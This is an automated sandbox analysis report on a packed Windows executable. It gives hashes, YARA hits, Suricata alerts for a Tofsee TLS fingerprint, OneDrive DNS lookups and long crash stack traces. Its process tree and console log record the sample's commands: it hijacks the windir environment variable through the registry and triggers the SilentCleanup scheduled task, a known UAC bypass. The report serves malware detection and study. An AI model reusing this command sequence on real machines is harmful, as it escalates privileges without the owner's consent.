Summary | ZeroBOX

Category	Machine	Started	Completed
FILE	s1_win7_x6401	Oct. 16, 2021, 1:19 p.m.	Oct. 16, 2021, 1:24 p.m.

Size	678.0KB
Type	PE32 executable (GUI) Intel 80386, for MS Windows
MD5	`a8521386eacf0f858077249faa381763`
SHA256	`2df667c2a61c1cc161df7e8e1d7dcf1407a0bc30eb7eaf881c835fecfde5f086`
CRC32	`DF151F90`
ssdeep	`12288:0SvSsA2JxPaLrNgLGKXhfLeoZ10VicVp7+SnqyUz:0AdLzPCrNgLfXhaoZuVTvpqyA`
Yara	PE_Header_Zero - PE File Signature IsPE32 - (no description) Malicious_Library_Zero - Malicious_Library UPX_Zero - UPX packed file

Oxqfxohrjqryauuonybvsdergonzrywtkp.exe "C:\Users\test22\AppData\Local\Temp\Oxqfxohrjqryauuonybvsdergonzrywtkp.exe"
1684
- cmd.exe cmd /c ""C:\Users\Public\Trast.bat" "
  492
  - cmd.exe C:\Windows\system32\cmd.exe /K C:\Users\Public\UKO.bat
    2092
    - reg.exe reg delete hkcu\Environment /v windir /f
      804
    - reg.exe reg add hkcu\Environment /v windir /d "cmd /c start /min C:\Users\Public\KDECO.bat reg delete hkcu\Environment /v windir /f && REM "
      2984
    - schtasks.exe schtasks /Run /TN \Microsoft\Windows\DiskCleanup\SilentCleanup /I
      1568
- cmd.exe cmd /c ""C:\Users\Public\nest.bat" "
  1908
  - reg.exe reg delete hkcu\Environment /v windir /f
    112

Name	Response	Post-Analysis Lookup
ok0muq.by.files.1drv.com	CNAME by-files.fe.1drv.com CNAME odc-by-files-geo.onedrive.akadns.net CNAME by-files.ha.1drv.com.l-0003.dc-msedge.net.l-0003.l-msedge.net A 13.107.42.12 CNAME l-0003.l-msedge.net CNAME odc-by-files-brs.onedrive.akadns.net	13.107.42.12
onedrive.live.com	CNAME odc-web-geo.onedrive.akadns.net CNAME l-0004.l-msedge.net A 13.107.42.13 CNAME odwebpl.trafficmanager.net.l-0004.dc-msedge.net.l-0004.l-msedge.net CNAME odc-web-brs.onedrive.akadns.net	13.107.42.13

IP Address	Status	Action
13.107.42.12	Active	Moloch
13.107.42.13	Active	Moloch
164.124.101.2	Active	Moloch

Suricata Alerts

Flow	SID	Signature	Category
TCP 192.168.56.101:49201 -> 13.107.42.12:443	906200056	SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee)	undefined
TCP 192.168.56.101:49200 -> 13.107.42.13:443	906200056	SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee)	undefined
TCP 192.168.56.101:49202 -> 13.107.42.12:443	906200056	SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee)	undefined

Suricata TLS

Flow	Issuer	Subject	Fingerprint
TLSv1 192.168.56.101:49201 13.107.42.12:443	C=US, O=Microsoft Corporation, CN=Microsoft RSA TLS CA 01	C=US, ST=WA, L=Redmond, O=Microsoft Corporation, OU=Microsoft Corporation, CN=storage.live.com	ec:e5:02:98:e6:c9:9a:12:fc:c0:4d:19:cd:2b:0c:ae:d0:c0:37:8e
TLSv1 192.168.56.101:49200 13.107.42.13:443	C=US, O=Microsoft Corporation, CN=Microsoft RSA TLS CA 01	CN=onedrive.com	50:2f:33:10:92:ac:27:7b:17:be:82:68:3b:e2:29:ad:97:41:b7:bb
TLSv1 192.168.56.101:49202 13.107.42.12:443	C=US, O=Microsoft Corporation, CN=Microsoft RSA TLS CA 01	C=US, ST=WA, L=Redmond, O=Microsoft Corporation, OU=Microsoft Corporation, CN=storage.live.com	ec:e5:02:98:e6:c9:9a:12:fc:c0:4d:19:cd:2b:0c:ae:d0:c0:37:8e

Queries for the computername (1 event)

Time & API	Arguments	Status	Return	Repeated
GetComputerNameW Oct. 16, 2021, 1:19 p.m.	computer_name: TEST22-PC	1	1	0

Command line console output was observed (22 events)

Time & API	Arguments	Status	Return
WriteConsoleW Oct. 16, 2021, 1:19 p.m.	buffer: C:\Users\Public> console_handle: 0x00000007	1	1
WriteConsoleW Oct. 16, 2021, 1:19 p.m.	buffer: start console_handle: 0x00000007	1	1
WriteConsoleW Oct. 16, 2021, 1:19 p.m.	buffer: /min C:\Users\Public\UKO.bat console_handle: 0x00000007	1	1
WriteConsoleW Oct. 16, 2021, 1:19 p.m.	buffer: C:\Users\Public> console_handle: 0x00000007	1	1
WriteConsoleW Oct. 16, 2021, 1:19 p.m.	buffer: reg console_handle: 0x00000007	1	1
WriteConsoleW Oct. 16, 2021, 1:19 p.m.	buffer: delete hkcu\Environment /v windir /f console_handle: 0x00000007	1	1
WriteConsoleW Oct. 16, 2021, 1:19 p.m.	buffer: C:\Users\Public> console_handle: 0x00000007	1	1
WriteConsoleW Oct. 16, 2021, 1:19 p.m.	buffer: reg console_handle: 0x00000007	1	1
WriteConsoleW Oct. 16, 2021, 1:19 p.m.	buffer: add hkcu\Environment /v windir /d "cmd /c start /min C:\Users\Public\KDECO.bat reg delete hkcu\Environment /v windir /f && REM " console_handle: 0x00000007	1	1
WriteConsoleW Oct. 16, 2021, 1:19 p.m.	buffer: C:\Users\Public> console_handle: 0x00000007	1	1
WriteConsoleW Oct. 16, 2021, 1:19 p.m.	buffer: schtasks console_handle: 0x00000007	1	1
WriteConsoleW Oct. 16, 2021, 1:19 p.m.	buffer: /Run /TN \Microsoft\Windows\DiskCleanup\SilentCleanup /I console_handle: 0x00000007	1	1
WriteConsoleW Oct. 16, 2021, 1:19 p.m.	buffer: exit console_handle: 0x00000007	1	1
WriteConsoleW Oct. 16, 2021, 1:19 p.m.	buffer: ERROR: console_handle: 0x0000000b	1	1
WriteConsoleW Oct. 16, 2021, 1:19 p.m.	buffer: The system was unable to find the specified registry key or value. console_handle: 0x0000000b	1	1
WriteConsoleW Oct. 16, 2021, 1:19 p.m.	buffer: The operation completed successfully. console_handle: 0x00000007	1	1
WriteConsoleW Oct. 16, 2021, 1:19 p.m.	buffer: ERROR: console_handle: 0x0000000b	1	1
WriteConsoleW Oct. 16, 2021, 1:19 p.m.	buffer: The system cannot find the path specified. console_handle: 0x0000000b	1	1
WriteConsoleW Oct. 16, 2021, 1:23 p.m.	buffer: C:\Users\Public> console_handle: 0x00000007	1	1
WriteConsoleW Oct. 16, 2021, 1:23 p.m.	buffer: start console_handle: 0x00000007	1	1
WriteConsoleW Oct. 16, 2021, 1:23 p.m.	buffer: /min reg delete hkcu\Environment /v windir /f console_handle: 0x00000007	1	1
WriteConsoleW Oct. 16, 2021, 1:23 p.m.	buffer: The operation completed successfully. console_handle: 0x00000007	1	1

The executable contains unknown PE section names indicative of a packer (could be a false positive) (1 event)

section

.itext

The executable uses a known packer (1 event)

packer

BobSoft Mini Delphi -> BoB / BobSoft

One or more processes crashed (50 out of 124 events)

Time & API	Arguments	Status
__exception__ Oct. 16, 2021, 1:19 p.m.	stacktrace: RtlImageNtHeader+0x1b RtlDeleteCriticalSection-0x1476 ntdll+0x3317f @ 0x773d317f RtlDosPathNameToNtPathName_U_WithStatus+0x33e LdrAccessResource-0x572 ntdll+0x4199e @ 0x773e199e RtlDosPathNameToNtPathName_U_WithStatus+0x2de LdrAccessResource-0x5d2 ntdll+0x4193e @ 0x773e193e RtlDosPathNameToNtPathName_U_WithStatus+0x26e LdrAccessResource-0x642 ntdll+0x418ce @ 0x773e18ce RtlDosPathNameToNtPathName_U_WithStatus+0xee LdrAccessResource-0x7c2 ntdll+0x4174e @ 0x773e174e RtlLoadString+0x9c TpSetTimer-0x5bd ntdll+0x43e5f @ 0x773e3e5f LoadStringBaseExW+0x51 LoadStringA-0x91 kernelbase+0x13b2a @ 0x76a83b2a LoadStringA+0x1d RegisterClassExA-0x5a user32+0x1db3e @ 0x755bdb3e New_user32_LoadStringA@16+0x91 New_user32_LoadStringW@16-0x8b @ 0x72bf7322 0x9060e3 0x904117 0x904204 oxqfxohrjqryauuonybvsdergonzrywtkp+0x568aa @ 0x4568aa oxqfxohrjqryauuonybvsdergonzrywtkp+0x572c5 @ 0x4572c5 oxqfxohrjqryauuonybvsdergonzrywtkp+0x59712 @ 0x459712 oxqfxohrjqryauuonybvsdergonzrywtkp+0x49ab @ 0x4049ab BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x757333ca RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x773d9ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x773d9ea5 exception.instruction_r: 66 39 06 0f 85 7d c8 00 00 8b 46 3c 89 45 dc 3a exception.symbol: RtlImageNtHeaderEx+0x5a RtlImageDirectoryEntryToData-0x57 ntdll+0x2f4ef exception.instruction: cmp word ptr [esi], ax exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 193775 exception.address: 0x773cf4ef registers.esp: 1632908 registers.edi: 1632996 registers.eax: 23117 registers.ebp: 1632968 registers.edx: 0 registers.ebx: 0 registers.esi: 9437184 registers.ecx: 1632768	1
__exception__ Oct. 16, 2021, 1:19 p.m.	stacktrace: RtlImageDirectoryEntryToData+0x5c RtlAddRefActivationContext-0x80 ntdll+0x2f5a2 @ 0x773cf5a2 RtlImageDirectoryEntryToData+0x1a RtlAddRefActivationContext-0xc2 ntdll+0x2f560 @ 0x773cf560 RtlDosPathNameToNtPathName_U_WithStatus+0x10e LdrAccessResource-0x7a2 ntdll+0x4176e @ 0x773e176e RtlRetrieveNtUserPfn+0x464 RtlOpenCurrentUser-0x14e ntdll+0x5af21 @ 0x773faf21 RtlDosPathNameToNtPathName_U_WithStatus+0x26e LdrAccessResource-0x642 ntdll+0x418ce @ 0x773e18ce RtlDosPathNameToNtPathName_U_WithStatus+0xee LdrAccessResource-0x7c2 ntdll+0x4174e @ 0x773e174e RtlLoadString+0x9c TpSetTimer-0x5bd ntdll+0x43e5f @ 0x773e3e5f LoadStringBaseExW+0x51 LoadStringA-0x91 kernelbase+0x13b2a @ 0x76a83b2a LoadStringA+0x1d RegisterClassExA-0x5a user32+0x1db3e @ 0x755bdb3e New_user32_LoadStringA@16+0x91 New_user32_LoadStringW@16-0x8b @ 0x72bf7322 0x9060e3 0x904117 0x904204 oxqfxohrjqryauuonybvsdergonzrywtkp+0x568aa @ 0x4568aa oxqfxohrjqryauuonybvsdergonzrywtkp+0x572c5 @ 0x4572c5 oxqfxohrjqryauuonybvsdergonzrywtkp+0x59712 @ 0x459712 oxqfxohrjqryauuonybvsdergonzrywtkp+0x49ab @ 0x4049ab BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x757333ca RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x773d9ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x773d9ea5 exception.instruction_r: 66 39 06 0f 85 7d c8 00 00 8b 46 3c 89 45 dc 3a exception.symbol: RtlImageNtHeaderEx+0x5a RtlImageDirectoryEntryToData-0x57 ntdll+0x2f4ef exception.instruction: cmp word ptr [esi], ax exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 193775 exception.address: 0x773cf4ef registers.esp: 1632760 registers.edi: 1632856 registers.eax: 23117 registers.ebp: 1632820 registers.edx: 0 registers.ebx: 9437184 registers.esi: 9437184 registers.ecx: 2000558592	1
__exception__ Oct. 16, 2021, 1:19 p.m.	stacktrace: RtlImageNtHeader+0x1b RtlDeleteCriticalSection-0x1476 ntdll+0x3317f @ 0x773d317f RtlRetrieveNtUserPfn+0x2ea RtlOpenCurrentUser-0x2c8 ntdll+0x5ada7 @ 0x773fada7 RtlRetrieveNtUserPfn+0x4bb RtlOpenCurrentUser-0xf7 ntdll+0x5af78 @ 0x773faf78 RtlDosPathNameToNtPathName_U_WithStatus+0x26e LdrAccessResource-0x642 ntdll+0x418ce @ 0x773e18ce RtlDosPathNameToNtPathName_U_WithStatus+0xee LdrAccessResource-0x7c2 ntdll+0x4174e @ 0x773e174e RtlLoadString+0x9c TpSetTimer-0x5bd ntdll+0x43e5f @ 0x773e3e5f LoadStringBaseExW+0x51 LoadStringA-0x91 kernelbase+0x13b2a @ 0x76a83b2a LoadStringA+0x1d RegisterClassExA-0x5a user32+0x1db3e @ 0x755bdb3e New_user32_LoadStringA@16+0x91 New_user32_LoadStringW@16-0x8b @ 0x72bf7322 0x9060e3 0x904117 0x904204 oxqfxohrjqryauuonybvsdergonzrywtkp+0x568aa @ 0x4568aa oxqfxohrjqryauuonybvsdergonzrywtkp+0x572c5 @ 0x4572c5 oxqfxohrjqryauuonybvsdergonzrywtkp+0x59712 @ 0x459712 oxqfxohrjqryauuonybvsdergonzrywtkp+0x49ab @ 0x4049ab BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x757333ca RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x773d9ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x773d9ea5 exception.instruction_r: 66 39 06 0f 85 7d c8 00 00 8b 46 3c 89 45 dc 3a exception.symbol: RtlImageNtHeaderEx+0x5a RtlImageDirectoryEntryToData-0x57 ntdll+0x2f4ef exception.instruction: cmp word ptr [esi], ax exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 193775 exception.address: 0x773cf4ef registers.esp: 1632892 registers.edi: 1632980 registers.eax: 23117 registers.ebp: 1632952 registers.edx: 0 registers.ebx: 9437184 registers.esi: 9437184 registers.ecx: 1632768	1
__exception__ Oct. 16, 2021, 1:19 p.m.	stacktrace: RtlImageDirectoryEntryToData+0x5c RtlAddRefActivationContext-0x80 ntdll+0x2f5a2 @ 0x773cf5a2 RtlImageDirectoryEntryToData+0x1a RtlAddRefActivationContext-0xc2 ntdll+0x2f560 @ 0x773cf560 RtlDosPathNameToNtPathName_U_WithStatus+0x10e LdrAccessResource-0x7a2 ntdll+0x4176e @ 0x773e176e RtlLoadString+0x9c TpSetTimer-0x5bd ntdll+0x43e5f @ 0x773e3e5f LoadStringBaseExW+0x51 LoadStringA-0x91 kernelbase+0x13b2a @ 0x76a83b2a LoadStringA+0x1d RegisterClassExA-0x5a user32+0x1db3e @ 0x755bdb3e New_user32_LoadStringA@16+0x91 New_user32_LoadStringW@16-0x8b @ 0x72bf7322 0x9060e3 0x904117 0x904204 oxqfxohrjqryauuonybvsdergonzrywtkp+0x568aa @ 0x4568aa oxqfxohrjqryauuonybvsdergonzrywtkp+0x572c5 @ 0x4572c5 oxqfxohrjqryauuonybvsdergonzrywtkp+0x59712 @ 0x459712 oxqfxohrjqryauuonybvsdergonzrywtkp+0x49ab @ 0x4049ab BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x757333ca RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x773d9ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x773d9ea5 exception.instruction_r: 66 39 06 0f 85 7d c8 00 00 8b 46 3c 89 45 dc 3a exception.symbol: RtlImageNtHeaderEx+0x5a RtlImageDirectoryEntryToData-0x57 ntdll+0x2f4ef exception.instruction: cmp word ptr [esi], ax exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 193775 exception.address: 0x773cf4ef registers.esp: 1633016 registers.edi: 1633112 registers.eax: 23117 registers.ebp: 1633076 registers.edx: 0 registers.ebx: 9437184 registers.esi: 9437184 registers.ecx: 2000662016	1
__exception__ Oct. 16, 2021, 1:19 p.m.	stacktrace: RtlImageNtHeader+0x1b RtlDeleteCriticalSection-0x1476 ntdll+0x3317f @ 0x773d317f RtlDosPathNameToNtPathName_U_WithStatus+0x33e LdrAccessResource-0x572 ntdll+0x4199e @ 0x773e199e RtlDosPathNameToNtPathName_U_WithStatus+0x2de LdrAccessResource-0x5d2 ntdll+0x4193e @ 0x773e193e RtlDosPathNameToNtPathName_U_WithStatus+0x26e LdrAccessResource-0x642 ntdll+0x418ce @ 0x773e18ce RtlDosPathNameToNtPathName_U_WithStatus+0xee LdrAccessResource-0x7c2 ntdll+0x4174e @ 0x773e174e RtlLoadString+0x9c TpSetTimer-0x5bd ntdll+0x43e5f @ 0x773e3e5f LoadStringBaseExW+0x51 LoadStringA-0x91 kernelbase+0x13b2a @ 0x76a83b2a LoadStringA+0x1d RegisterClassExA-0x5a user32+0x1db3e @ 0x755bdb3e New_user32_LoadStringA@16+0x91 New_user32_LoadStringW@16-0x8b @ 0x72bf7322 0x9060e3 0x904117 0x904204 oxqfxohrjqryauuonybvsdergonzrywtkp+0x568aa @ 0x4568aa oxqfxohrjqryauuonybvsdergonzrywtkp+0x572c5 @ 0x4572c5 oxqfxohrjqryauuonybvsdergonzrywtkp+0x59712 @ 0x459712 oxqfxohrjqryauuonybvsdergonzrywtkp+0x49ab @ 0x4049ab BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x757333ca RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x773d9ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x773d9ea5 exception.instruction_r: 66 39 06 0f 85 7d c8 00 00 8b 46 3c 89 45 dc 3a exception.symbol: RtlImageNtHeaderEx+0x5a RtlImageDirectoryEntryToData-0x57 ntdll+0x2f4ef exception.instruction: cmp word ptr [esi], ax exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 193775 exception.address: 0x773cf4ef registers.esp: 1632908 registers.edi: 1632996 registers.eax: 23117 registers.ebp: 1632968 registers.edx: 0 registers.ebx: 0 registers.esi: 9437184 registers.ecx: 1632768	1
__exception__ Oct. 16, 2021, 1:19 p.m.	stacktrace: RtlImageDirectoryEntryToData+0x5c RtlAddRefActivationContext-0x80 ntdll+0x2f5a2 @ 0x773cf5a2 RtlImageDirectoryEntryToData+0x1a RtlAddRefActivationContext-0xc2 ntdll+0x2f560 @ 0x773cf560 RtlDosPathNameToNtPathName_U_WithStatus+0x10e LdrAccessResource-0x7a2 ntdll+0x4176e @ 0x773e176e RtlRetrieveNtUserPfn+0x464 RtlOpenCurrentUser-0x14e ntdll+0x5af21 @ 0x773faf21 RtlDosPathNameToNtPathName_U_WithStatus+0x26e LdrAccessResource-0x642 ntdll+0x418ce @ 0x773e18ce RtlDosPathNameToNtPathName_U_WithStatus+0xee LdrAccessResource-0x7c2 ntdll+0x4174e @ 0x773e174e RtlLoadString+0x9c TpSetTimer-0x5bd ntdll+0x43e5f @ 0x773e3e5f LoadStringBaseExW+0x51 LoadStringA-0x91 kernelbase+0x13b2a @ 0x76a83b2a LoadStringA+0x1d RegisterClassExA-0x5a user32+0x1db3e @ 0x755bdb3e New_user32_LoadStringA@16+0x91 New_user32_LoadStringW@16-0x8b @ 0x72bf7322 0x9060e3 0x904117 0x904204 oxqfxohrjqryauuonybvsdergonzrywtkp+0x568aa @ 0x4568aa oxqfxohrjqryauuonybvsdergonzrywtkp+0x572c5 @ 0x4572c5 oxqfxohrjqryauuonybvsdergonzrywtkp+0x59712 @ 0x459712 oxqfxohrjqryauuonybvsdergonzrywtkp+0x49ab @ 0x4049ab BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x757333ca RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x773d9ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x773d9ea5 exception.instruction_r: 66 39 06 0f 85 7d c8 00 00 8b 46 3c 89 45 dc 3a exception.symbol: RtlImageNtHeaderEx+0x5a RtlImageDirectoryEntryToData-0x57 ntdll+0x2f4ef exception.instruction: cmp word ptr [esi], ax exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 193775 exception.address: 0x773cf4ef registers.esp: 1632760 registers.edi: 1632856 registers.eax: 23117 registers.ebp: 1632820 registers.edx: 0 registers.ebx: 9437184 registers.esi: 9437184 registers.ecx: 2000558592	1
__exception__ Oct. 16, 2021, 1:19 p.m.	stacktrace: RtlImageNtHeader+0x1b RtlDeleteCriticalSection-0x1476 ntdll+0x3317f @ 0x773d317f RtlRetrieveNtUserPfn+0x2ea RtlOpenCurrentUser-0x2c8 ntdll+0x5ada7 @ 0x773fada7 RtlRetrieveNtUserPfn+0x4bb RtlOpenCurrentUser-0xf7 ntdll+0x5af78 @ 0x773faf78 RtlDosPathNameToNtPathName_U_WithStatus+0x26e LdrAccessResource-0x642 ntdll+0x418ce @ 0x773e18ce RtlDosPathNameToNtPathName_U_WithStatus+0xee LdrAccessResource-0x7c2 ntdll+0x4174e @ 0x773e174e RtlLoadString+0x9c TpSetTimer-0x5bd ntdll+0x43e5f @ 0x773e3e5f LoadStringBaseExW+0x51 LoadStringA-0x91 kernelbase+0x13b2a @ 0x76a83b2a LoadStringA+0x1d RegisterClassExA-0x5a user32+0x1db3e @ 0x755bdb3e New_user32_LoadStringA@16+0x91 New_user32_LoadStringW@16-0x8b @ 0x72bf7322 0x9060e3 0x904117 0x904204 oxqfxohrjqryauuonybvsdergonzrywtkp+0x568aa @ 0x4568aa oxqfxohrjqryauuonybvsdergonzrywtkp+0x572c5 @ 0x4572c5 oxqfxohrjqryauuonybvsdergonzrywtkp+0x59712 @ 0x459712 oxqfxohrjqryauuonybvsdergonzrywtkp+0x49ab @ 0x4049ab BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x757333ca RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x773d9ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x773d9ea5 exception.instruction_r: 66 39 06 0f 85 7d c8 00 00 8b 46 3c 89 45 dc 3a exception.symbol: RtlImageNtHeaderEx+0x5a RtlImageDirectoryEntryToData-0x57 ntdll+0x2f4ef exception.instruction: cmp word ptr [esi], ax exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 193775 exception.address: 0x773cf4ef registers.esp: 1632892 registers.edi: 1632980 registers.eax: 23117 registers.ebp: 1632952 registers.edx: 0 registers.ebx: 9437184 registers.esi: 9437184 registers.ecx: 1632768	1
__exception__ Oct. 16, 2021, 1:19 p.m.	stacktrace: RtlImageDirectoryEntryToData+0x5c RtlAddRefActivationContext-0x80 ntdll+0x2f5a2 @ 0x773cf5a2 RtlImageDirectoryEntryToData+0x1a RtlAddRefActivationContext-0xc2 ntdll+0x2f560 @ 0x773cf560 RtlDosPathNameToNtPathName_U_WithStatus+0x10e LdrAccessResource-0x7a2 ntdll+0x4176e @ 0x773e176e RtlLoadString+0x9c TpSetTimer-0x5bd ntdll+0x43e5f @ 0x773e3e5f LoadStringBaseExW+0x51 LoadStringA-0x91 kernelbase+0x13b2a @ 0x76a83b2a LoadStringA+0x1d RegisterClassExA-0x5a user32+0x1db3e @ 0x755bdb3e New_user32_LoadStringA@16+0x91 New_user32_LoadStringW@16-0x8b @ 0x72bf7322 0x9060e3 0x904117 0x904204 oxqfxohrjqryauuonybvsdergonzrywtkp+0x568aa @ 0x4568aa oxqfxohrjqryauuonybvsdergonzrywtkp+0x572c5 @ 0x4572c5 oxqfxohrjqryauuonybvsdergonzrywtkp+0x59712 @ 0x459712 oxqfxohrjqryauuonybvsdergonzrywtkp+0x49ab @ 0x4049ab BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x757333ca RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x773d9ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x773d9ea5 exception.instruction_r: 66 39 06 0f 85 7d c8 00 00 8b 46 3c 89 45 dc 3a exception.symbol: RtlImageNtHeaderEx+0x5a RtlImageDirectoryEntryToData-0x57 ntdll+0x2f4ef exception.instruction: cmp word ptr [esi], ax exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 193775 exception.address: 0x773cf4ef registers.esp: 1633016 registers.edi: 1633112 registers.eax: 23117 registers.ebp: 1633076 registers.edx: 0 registers.ebx: 9437184 registers.esi: 9437184 registers.ecx: 2000662016	1
__exception__ Oct. 16, 2021, 1:19 p.m.	stacktrace: RtlImageNtHeader+0x1b RtlDeleteCriticalSection-0x1476 ntdll+0x3317f @ 0x773d317f RtlDosPathNameToNtPathName_U_WithStatus+0x33e LdrAccessResource-0x572 ntdll+0x4199e @ 0x773e199e RtlDosPathNameToNtPathName_U_WithStatus+0x2de LdrAccessResource-0x5d2 ntdll+0x4193e @ 0x773e193e RtlDosPathNameToNtPathName_U_WithStatus+0x26e LdrAccessResource-0x642 ntdll+0x418ce @ 0x773e18ce RtlDosPathNameToNtPathName_U_WithStatus+0xee LdrAccessResource-0x7c2 ntdll+0x4174e @ 0x773e174e RtlLoadString+0x9c TpSetTimer-0x5bd ntdll+0x43e5f @ 0x773e3e5f LoadStringBaseExW+0x51 LoadStringA-0x91 kernelbase+0x13b2a @ 0x76a83b2a LoadStringA+0x1d RegisterClassExA-0x5a user32+0x1db3e @ 0x755bdb3e New_user32_LoadStringA@16+0x91 New_user32_LoadStringW@16-0x8b @ 0x72bf7322 0x9060e3 0x904117 0x904204 oxqfxohrjqryauuonybvsdergonzrywtkp+0x568aa @ 0x4568aa oxqfxohrjqryauuonybvsdergonzrywtkp+0x572c5 @ 0x4572c5 oxqfxohrjqryauuonybvsdergonzrywtkp+0x59712 @ 0x459712 oxqfxohrjqryauuonybvsdergonzrywtkp+0x49ab @ 0x4049ab BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x757333ca RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x773d9ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x773d9ea5 exception.instruction_r: 66 39 06 0f 85 7d c8 00 00 8b 46 3c 89 45 dc 3a exception.symbol: RtlImageNtHeaderEx+0x5a RtlImageDirectoryEntryToData-0x57 ntdll+0x2f4ef exception.instruction: cmp word ptr [esi], ax exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 193775 exception.address: 0x773cf4ef registers.esp: 1632908 registers.edi: 1632996 registers.eax: 23117 registers.ebp: 1632968 registers.edx: 0 registers.ebx: 0 registers.esi: 9437184 registers.ecx: 1632768	1
__exception__ Oct. 16, 2021, 1:19 p.m.	stacktrace: RtlImageDirectoryEntryToData+0x5c RtlAddRefActivationContext-0x80 ntdll+0x2f5a2 @ 0x773cf5a2 RtlImageDirectoryEntryToData+0x1a RtlAddRefActivationContext-0xc2 ntdll+0x2f560 @ 0x773cf560 RtlDosPathNameToNtPathName_U_WithStatus+0x10e LdrAccessResource-0x7a2 ntdll+0x4176e @ 0x773e176e RtlRetrieveNtUserPfn+0x464 RtlOpenCurrentUser-0x14e ntdll+0x5af21 @ 0x773faf21 RtlDosPathNameToNtPathName_U_WithStatus+0x26e LdrAccessResource-0x642 ntdll+0x418ce @ 0x773e18ce RtlDosPathNameToNtPathName_U_WithStatus+0xee LdrAccessResource-0x7c2 ntdll+0x4174e @ 0x773e174e RtlLoadString+0x9c TpSetTimer-0x5bd ntdll+0x43e5f @ 0x773e3e5f LoadStringBaseExW+0x51 LoadStringA-0x91 kernelbase+0x13b2a @ 0x76a83b2a LoadStringA+0x1d RegisterClassExA-0x5a user32+0x1db3e @ 0x755bdb3e New_user32_LoadStringA@16+0x91 New_user32_LoadStringW@16-0x8b @ 0x72bf7322 0x9060e3 0x904117 0x904204 oxqfxohrjqryauuonybvsdergonzrywtkp+0x568aa @ 0x4568aa oxqfxohrjqryauuonybvsdergonzrywtkp+0x572c5 @ 0x4572c5 oxqfxohrjqryauuonybvsdergonzrywtkp+0x59712 @ 0x459712 oxqfxohrjqryauuonybvsdergonzrywtkp+0x49ab @ 0x4049ab BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x757333ca RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x773d9ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x773d9ea5 exception.instruction_r: 66 39 06 0f 85 7d c8 00 00 8b 46 3c 89 45 dc 3a exception.symbol: RtlImageNtHeaderEx+0x5a RtlImageDirectoryEntryToData-0x57 ntdll+0x2f4ef exception.instruction: cmp word ptr [esi], ax exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 193775 exception.address: 0x773cf4ef registers.esp: 1632760 registers.edi: 1632856 registers.eax: 23117 registers.ebp: 1632820 registers.edx: 0 registers.ebx: 9437184 registers.esi: 9437184 registers.ecx: 2000558592	1
